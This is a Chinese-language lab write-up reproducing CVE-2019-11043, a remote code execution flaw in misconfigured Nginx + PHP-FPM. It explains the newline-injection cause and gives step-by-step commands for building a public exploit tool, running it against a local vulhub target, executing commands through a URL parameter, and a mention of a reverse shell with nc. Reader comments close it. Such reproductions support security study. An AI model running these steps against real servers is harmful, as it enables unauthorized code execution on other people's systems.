CVE-2019-11043 PHP远程代码执行漏洞复现
0x00:简介
CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。
向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常。
该漏洞需要在nginx.conf中进行特定配置才能触发。具体为nginx + php-fpm 配置不当,当nginx配置文件中有fastcgi_split_path_info,却没有if(!-f $document_root$fastcgi_script_name){return 404;}的时候就会导致远程代码执行。
攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的Regexp。Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。
0x01:漏洞危害
远程命令执行
0x02:影响范围
在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:
- PHP 7.0 版本
- PHP 7.1 版本
- PHP 7.2 版本
- PHP 7.3 版本
0x03:环境搭建
1、靶场这里直接使用vulhub的docker搭建
cd /vulhub/php/CVE-2019-11043/
docker-compose up -d
访问http://192.168.150.148:8080/
2、需要安装golang环境
apt-get install golang -y
3、安装漏洞利用工具
git clone https://github.com/neex/phuip-fpizdam.git
进入该目录build一下
cd phuip-fpizdam
go build
执行上面命令后,目录下就会生成 phuip-fpizdam 文件 没成功可能是权限问题,chmod 777 即可
0x04:漏洞复现
首先到phuip-fpizdam文件夹下,执行命令
./phuip-fpizdam http://127.0.0.1:8080/index.php
如上图所示即是成功了
到浏览器执行命令,这里可能需要多执行几次才能成功,因为这是php-fpm的子进程受到污染
http://192.168.150.148:8080/index.php?a=id
至于反弹shell,需要到docker安装nc 可以反弹
俺还在i春秋学渗透 ,看了你的文章挺有收获的
我还在意淫如果有大哥你这样的水平.. 该多好